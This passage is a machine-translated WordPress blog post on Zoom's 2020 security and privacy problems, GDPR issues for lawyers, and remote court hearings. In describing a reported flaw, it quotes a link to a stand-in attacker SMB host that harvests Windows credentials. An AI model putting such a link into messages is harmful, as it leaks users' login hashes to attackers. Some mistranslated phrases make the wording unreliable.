href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/&amp;usg=ALkJrhgAsLg-I6QHTw_QR_dU9HAvq-XGlA\">Forbes</a>&nbsp;magazine&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/&amp;usg=ALkJrhgAsLg-I6QHTw_QR_dU9HAvq-XGlA\">:</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>\'&nbsp;<em>Ultimately, anyone having sensitive conversations should therefore consider whether Zoom is suitable, he noted.&nbsp;“I would think very carefully before I used Zoom to communicate classified information, trade secrets or confidential medical data,” Marczak said.&nbsp;“If you are a human rights defender, lawyer, journalist, or anyone else working on sensitive topics that you think a nation-state or other powerful adversary might be interested in, I would advise you to wait for Zoom to make security improvements in their app before you use it. ”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple has introduced an update to remove the \'&nbsp;<em>hidden Zoom web server\'</em>&nbsp;&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/&amp;usg=ALkJrhh25eSEylS1aNG_bR0JHeT-AQvq1w\">Thousands of Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/techcrunch.com/2019/07/10/apple-silent-update-zoom-app&amp;usg=ALkJrhgJXQe1DB8UBuAzLhxtOz4kyjX_OQ\">Apple has pushed a silent Mac update to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/&amp;usg=ALkJrhhVSdjQlTBa4Dpxv3xYtX0YEeYCTw\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;&nbsp;people\'s Windows local login usernames and hashed passwords via Zoom by getting them to click on a URL in a chat message that connects to a malicious SMB file server.&nbsp;A link such as&nbsp;&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked on, cause Windows to connect to&nbsp;&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in user\'s credentials in hope of fetching&nbsp;&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em></li><li><em>Ex-NSA hacker drops new zero-day doom for Zoom.&nbsp;Hot on the heels of two security researchers&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/hackerfantastic/status/1245133371262619654&amp;usg=ALkJrhg_sX26m-Ods_n0syl9vFWdImTrQQ\">finding a Zoom bug</a>&nbsp;that can be abused to steal Windows passwords, another security researcher found two new bugs that can be used to take over a Zoom user\'s Mac, including tapping into the webcam and microphone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle security researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://objective-see.com/blog/blog_0x56.html&amp;usg=ALkJrhgPyuX417n0g_qzW0D-8OBVqtOhdg\">on his blog</a>&nbsp;&nbsp;Wednesday, which he shared&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://techcrunch.com/2020/04/01/zoom-doom/&amp;usg=ALkJrhiyMa3kJZnAv6KNqNKPciU7FuYhUg\">with TechCrunch</a>&nbsp;.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Obviously with the galloping success of Zoom, we see a rookie of \'&nbsp;<em>fake Zooms\'</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/&amp;usg=ALkJrhhdfcDUuXdUHkuByLOxeaRLuNSLuw\">Researchers see sharp rise in fake Zoom domains as hackers target remote workers&nbsp;</a></em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/&amp;usg=ALkJrhhdfcDUuXdUHkuByLOxeaRLuNSLuw\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfer of personal data outside the EU / EEA</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom is a California-based company.&nbsp;As such, he is self certified Privacy Shield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/03/31/zoom-meeting-encryption/&amp;usg=ALkJrhj_guVRLG1cA5OOHr70YGBNDHE1Ig\"><em>Intercept</em></a>&nbsp;has revealed the transfer of data to China.&nbsp;The CEO acknowledged this fact attributing it to a simple referral error.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No one can ignore the war of industrial espionage.&nbsp;Zoom, like any American company is subject to the US Cloud Act.&nbsp;In other words at any time the data can be claimed by the US government.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny&amp;usg=ALkJrhiGD1pXHKHX5dQbKVkM_HpYbRbB0Q\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus Crisis, Zoom\'s R&amp;D Presence In China Under Scrutiny</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach or unauthorised access to data</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any unauthorised access to personal data must be assessed as to the seriousness of the potential consequences for the individuals concerned.&nbsp;In the event of a serious risk, they must be notified as soon as possible and no later than&nbsp;<strong>within 72 hours</strong>&nbsp;.&nbsp;The data protection authority must be notified within 72 hours at the latest.&nbsp;In all cases the data breach must be listed in the internal register in accordance with the provisions of&nbsp;<span><b> <a href=\"https://gdpr-info.eu/art-33-gdpr/\">Article&nbsp;33</a></b></span>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting&nbsp;<strong>screen shots</strong>&nbsp;of videoconference revealing the ID number of the meeting and the images of the participants accompanied by their names or pseudonyms can be considered as a breach of confidentiality,</li><li><strong>2</strong>&nbsp;major recent&nbsp;<strong>examples</strong>&nbsp;:&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says&amp;usg=ALkJrhi8nkNmlsHXdFaRkhdBCn25Gk18LQ\">Boris Johnson</a>&nbsp;CNB posting a board meeting or their GA.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The specific case of the use of such a tool by lawyers or professional associations</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a context where so many cries of alarms were launched about the failures of this tool, as the New York Attorney General investigations asking the schools not to use the application, followed by other state authorities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html&amp;usg=ALkJrhi4Od7ZPREXg0oezpaxW1n_iYG3BA\">NY Attorney General to look at Zoom</a>&nbsp;&nbsp;:</em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743&amp;usg=ALkJrhiuzK-w-kyBWl0sbmLQ7fot4A0pjA\">Multiple state AGs looking into Zoom\'s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Use of video conferences for hearing outfits:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.linkedin.com/in/richardsusskind/detail/recent-activity/\">Richard Susskind</a>, President of the Society for Computers and Law announced two weeks ago :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/&amp;usg=ALkJrhiCKTGuQtVoub0CRXhok5whX6VpkQ\">Launched today: REMOTE COURTS WORLDWIDE, designed to help the global community of justice workers share experiences of \'remote\' alternatives (audio, video, online) to traditional courts.&nbsp;This is a joint effort involving&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/scl-society-for-computers-and-law-/&amp;usg=ALkJrhiwdruKG-8NaK5C08MjAQ9Ix5762Q\">SCL - Society for Computers and Law</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/hm-courts-%26-tribunals-service/&amp;usg=ALkJrhii6pryNkI8AKlRiPOC4yuyaVCvDw\">HM Courts &amp; Tribunals Service (HMCTS)</a>&nbsp;, and the UK\'s LawTech Delivery Panel.&nbsp;We must sixteen the moment and come together to accelerate the development of new ways of continuing to deliver just outcomes for court users.&nbsp;Please contribute content at...</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>He later posted :<em> Update after 1 week. We now have news from 20 countries on REMOTE COURTS WORLDWIDE, a site that helps the global community of justice workers share experiences of \'remote\' alternatives (audio, video, online) to traditional courts -</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The courts will resume face-to-face hearings when the current crisis is over. But remote working can be a much more efficient way of delivering justice. My latest column for <a href=\"https://twitter.com/lawsocgazette\">@lawsocgazette</a> looks at how courts and tribunals are coping with online hearings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In France, on April 3, Maitre Aymeric Duhesne from Cabinet Montesquieu announced on Linkedin:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“With Le Bâtonnier Stephane Dhonte, the registry of the Lille Métropole Commercial Court and the judge for interim measures, we have just finalized the test of the 1st hearing by videoconference as allowed by order 2020-304 of 25.03.20.&nbsp;The Bar of Lille and its lawyers are force of proposal and immediately operational solution and thus mark their determination to allow the continuity of the access to the right to litigants, individuals and companies, in spite of the health crisis.&nbsp;Cases will be heard again next week and decisions made. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!